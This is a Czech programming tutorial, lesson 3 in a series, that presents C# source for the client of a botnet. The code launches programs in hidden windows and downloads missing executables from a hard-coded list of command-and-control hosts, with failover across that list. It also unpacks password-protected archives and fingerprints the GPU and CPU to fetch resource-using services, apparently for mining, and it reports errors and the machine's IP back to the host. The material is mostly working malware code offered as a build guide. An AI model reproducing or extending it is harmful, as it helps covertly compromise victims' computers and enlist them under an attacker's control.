Vydělávej až 160.000 Kč měsíčně! Akreditované rekvalifikační kurzy s garancí práce od 0 Kč. Více informací.
Hledáme nové posily do ITnetwork týmu. Podívej se na volné pozice a přidej se do nejagilnější firmy na trhu - Více informací.

Lekce 3 - BOTNET - Programování klienta

V minulé lekci, BOTNET - Mechanismy, jsme se věnovali klíčovým mechanismům.

Dnes si předvedeme některé části kódu z programování klienta.

Programování Klienta

Popis Funkce

Klient po startu předá informaci o započetí činnosti, stáhne si informaci o požadované činnosti a id stroje, na kterém se má vykonat příkaz a podle jeho id a příkazu vykoná požadavek. Po vykonání požadavku Klient odesílá data ohledně úspěšného nebo neúspěšného splnění úlohy. Klient vyčkává na reset. Po resetu klient čeká na další příkaz a celá rutina se opakuje.

Funkce mimo rutinu

jsou funkce, které se nespouští každý cyklus, ale pouze při spuštění programu, jejich úloha je kontrolovat integritu programového souboru, diagnostika a řešení integritních chyb. Tyto funkce v programu jsou pod třídou „Smart_Mate“, která zodpovídá za inteligentní řešení a využívání stroje na, kterém je program spuštěn. Třída obsahuje hlavní vstupní bod programu neboli „Main“. Při spuštění programu je spuštěn program z tohoto bodu a třída si načítá některé z funkcí z třídy „BOTNET_Receiver“, kvůli snížení velikosti kódu a zbytečné duplicitě kódu. Po načtení ohlásí třída „Smart_Mate“ hostovi oznámení o spuštění. V další fázi programu si inteligentně zjistí zdroje stroje např. Grafická karta a Procesor, a stáhne podle typu grafické karty a procesoru službu na využívání zdrojů systému. Jakmile dokončí proces stahování a rozbalování archivů, spustí služby a pokračuje do hlavního vstupního bodu třídy „BOTNET_Receiver“, kde je zahájena rutina.

Zdrojový kód třídy Smart_Mate

Definice používaných knihoven

Stanovení jména třídy a includovaného souboru (namespace, class). Status public stanovuje, že třída bude dostupná z jiných programů a tříd. Tyto knihovny, které jsme si vložili do programu:

using System;
using System.IO;
using System.Net;
using System.Management;
using System.IO.Compression;
using System.Net.Sockets;

namespace Smart_Mate
{
    public static class smate {

obsahují základní funkce pro činnost programu. Každá knihovna povoluje jiné funkce např. Net.Sockets povoluje požadavky http. Další povolují dekompresi archivů, zacházení s archivy a používání systémových souborů pro zápis, čtení a další.

Funkce Startování souborů

Tato funkce spustí soubor podle typu spuštění a požadovaných eskalovaných povolení a skrytých nebo viditelných oken. Veřejná funkce je ta, která je spustitelná z více programů a tříd. Funkce po vyvolání a předání názvu souboru nastaví argumenty pro spuštění souboru a zjistí jeho existenci. V případě že neexistuje, je stažen a poté spuštěn. Pokud je zachycena chyba, je zaslána hostovi jako přerušení činnosti.

Start (soubor.exe); //Volání funkce
public static void start(string name) //pole funkce
{
    try
    {
        if (File.Exists(name))
        {
            System.Diagnostics.Process pProcess = new System.Diagnostics.Process();
            pProcess.StartInfo.FileName = name;
            pProcess.StartInfo.Arguments = "olaa"; //argument
            pProcess.StartInfo.UseShellExecute = false;
            pProcess.StartInfo.RedirectStandardOutput = true;
            pProcess.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
            pProcess.StartInfo.CreateNoWindow = true; //nezobrazovat okno
            pProcess.Start();
        }
        else
        {
            if (name == "Hack.exe")
            {
                start("quickie.bat");
            }
            else
            {
                try
                {
                    download(@"resource/" + name, name);
                    start(name);
                }
                catch { }
            }
        }
    }
    catch (Exception err)//Zachytit chybu
    {
        string erx = Convert.ToString(err);
        Botnet_Receiver.Program.send(null, erx);
    }
}

Třída „FileHandler“ a její funkce

Tato třída obsahuje prvky pro ovládání souborového systému. Jsou zde obsažené ovladače pro zápis, čtení a odstraňování.

Smart_Mate.filehandler.fd(soubor); //volání souboru
public static class filehandler
{
    static protected void fd(string file)
    {
        if (File.Exists(file))
        {
            File.Delete(file);
        }
    }

    protected static void write(int text, string path = "buffer.dat")
    {
        File.WriteAllText(path, Convert.ToString(text));
    }

    protected static int read(string file = "buffer.dat")
    {
        if (File.Exists(file))
        {
            int fors = Convert.ToInt32(File.ReadAllText(file));
            return fors;
        }
        return 0;
    }

}

Činnost: Po zavolání funkce v třídě se předá informace o činnosti do příslušné funkce, která se rozhodne o vykonání činnosti. Pokud není dostupná informace tak se rozhodne funkce podle defaultního stavu.

Funkce „Choose“ a určování hosta

Tato funkce zastává nejdůležitější úlohu ze všech a to je veškerá komunikace s hostem. Bez této funkce bychom nebyli schopni odesílat nebo přijímat data, jelikož bychom neznali adresu.

Popis činnosti

  • Funkce neočekává žádné předávání vstupních parametrů
  • Funkce si načte array všech uložených hostů
  • Vyzkouší cyklus pro výběr hosta (for)
  • Stáhnou se data ze souboru na webu, pokud data jsou rovny formátu „int.int“, označí

hosta jako online a host je navrácen

  • Případ, že host je off-line, funkce určí dalšího hosta pro pokus a pokusí se určit stav

následujícího hosta až do konce pole, při konci poli program navrátí hodnotu „died“, která znamená, že hosti nejsou dostupní

  • V případě stavu died se program pokusí sestavit Peer-to-Peer připojení mezi klienty a

pomocí jiného klienta lze získat údaje z jiného klienta, tzv. topologie server-server- klient

Zdrojový kód

public static string choose()
{
    string[] hosts = {
        "192.168.1.100/",
        "http://nenapdane.tode.cz/"
    }; //List hostů
    try
    {
        for (int i = 0; i < hosts.Length; i++) //listuje mezi hosty do konce
        {
            again: //Bod návratu
            WebClient webClient = new WebClient();
            string num = webClient.DownloadString(hosts[i] + "/version.dat");
            num = num.Replace('.', '0');
            int value;
            if (int.TryParse(num, out value))
            {
                return hosts[i];
            }
            else
            {
                Console.WriteLine("Solving");
                i++;
                write(i);
                goto again; //návrat
            }
        }
        return "All hosts dead Trying to solve...";

Třída „zip“

Tato třída poskytuje zacházení s archivy.

Funkce „extract“

Rozbalí archiv, který je předán funkci.

Funkce „extract2“

Rozbalí archiv s heslem, který je předán a rozšifruje ho.

protected static void extract2(string zipPath)
{
    string extractPath = "";
    System.IO.Compression.ZipFile.ExtractToDirectory(zipPath, extractPath);
}

static protected void extract(string zipPath)
{
    string path = Directory.GetCurrentDirectory();
    string extractPath = path;
    using (Ionic.Zip.ZipFile archive = new Ionic.Zip.ZipFile(zipPath))
    {
        archive.Password = "pass";
        archive.Encryption = EncryptionAlgorithm.PkzipWeak;
        archive.StatusMessageTextWriter = Console.Out;
        archive.ExtractAll(path, ExtractExistingFileAction.OverwriteSilently);
    }
}

Funkce „download“

Stáhne předaný soubor z dostupného hosta.

public static void download(string from, string to)
{
    string url = choose();
    WebClient webClient = new WebClient();
    webClient.DownloadFile(url + from, to);
}

Třída „stroj“

Tato třída zachází s systémovými funkcemi a zjištění informací o umístění v síti a hardwaru.

Funkce „gpu“

Zjistí název výrobce grafické karty z důvodu kompatibility programu.

Funkce „cpu“

Zjistí podrobnosti o procesoru.

public static string gpu()
{
    ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_DisplayConfiguration");
    string graphicsCard = string.Empty;
    foreach (ManagementObject mo in searcher.Get())
    {
        foreach (PropertyData property in mo.Properties)
        {
            if (property.Name == "Description")
            {
                graphicsCard = property.Value.ToString();
                return graphicsCard;
            }
        }
    }
    return graphicsCard;
}

public static string cpu()
{
    ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_Processor");
    string graphicsCard = string.Empty;
    foreach (ManagementObject mo in searcher.Get())
    {
        foreach (PropertyData property in mo.Properties)
        {
            if (property.Name == "Name")
            {
                graphicsCard = property.Value.ToString();
                return graphicsCard;
            }
        }

Funkce „ip“

Vysleduje externí IP adresu počítače z odpovědi serveru.

Funkce „ipl“

Zjistí lokální IP adresu a umístění počítače v síti systémovou knihovnou.

public static string ip()
{
    string externalip = new WebClient().DownloadString("http://icanhazip.com");
    return externalip;
}

public static string ipl()
{
    var host = Dns.GetHostEntry(Dns.GetHostName());
    foreach (var ip in host.AddressList)
    {
        if (ip.AddressFamily == AddressFamily.InterNetwork)
        {
            return ip.ToString();
        }
    }
    return "Not Found";
}

Funkce „Main“ vstupní bod programu

Tato funkce je vstupní bod programu, zde bude program začínat, vykoná funkci a pak bude pokračovat dále dalším vstupním bodem. Tato funkce má za úkol zhodnotit systémové prostředky jako je výrobce grafické karty a na základě toho vybrat verzi programu, kterou bude používat. Program nebude instalovat znovu stejné balíčky, pokud již existují. Příkaz „try“ slouží ke zkoušení programu a pokud se vyskytne problém, program se neukončí.

static public void Main(string[] args)
{
    if (!File.Exists(@"systems.exe"))
    {
        try
        {

Rozhodování a rozdělování na výrobce

Program si získá výrobce z funkce „gpu“ dále se rozhodne, jestli obsahuje string výrobce AMD nebo NVIDIA. Podle tohoto nainstaluje ovladače a spustí hlavní program.

string graphicsCard = gpu();
string amd = "AMD";
string nvidia = "NVIDIA";
if (graphicsCard.Contains(amd))
{
    //stáhne odladače pro AMD GPU
    Botnet_Receiver.Program.main(args);
}
else if (graphicsCard.Contains(nvidia))
{
    //stáhne odladače pro NVIDIA GPU
    Botnet_Receiver.Program.main(args);
}
else
{
    //Pokud nejsou GPU program pokračuje s CPU
    Botnet_Receiver.Program.main(args);
}

Zachycení chyby

Try - Catch blok tvoří základ pro program, který by se neměl ukončit z ničeho nic kvůli chybě. Catch zachytí chybu a spustí hlavní program, který se může pokusit chybu vyřešit. Try tvoří

catch
{
    Botnet_Receiver.Program.main(args);
}

blok, který se spustí a pokud je vyvolána výjimka, je spuštěn blok catch. Díky těmto blokům je možné tento program provozovat plynule bez výpadků, jelikož některé kontrolní body vyvolávají výjimky za běžného provozu díky např. přerušení toku dat.

V příští lekci, BOTNET - Závěr, se dostaneme ke zdrojovým kódům hlavního programu.


 

Předchozí článek
BOTNET - Mechanismy
Všechny články v sekci
Botnet
Přeskočit článek
(nedoporučujeme)
BOTNET - Závěr
Článek pro vás napsal Jiri Otoupal
Avatar
Uživatelské hodnocení:
9 hlasů
Autor se věnuje Zabezpečení Softwaru, Inovaci v sítích , Správa Serverů,Malware,Exploiting, Penetration Testing
Aktivity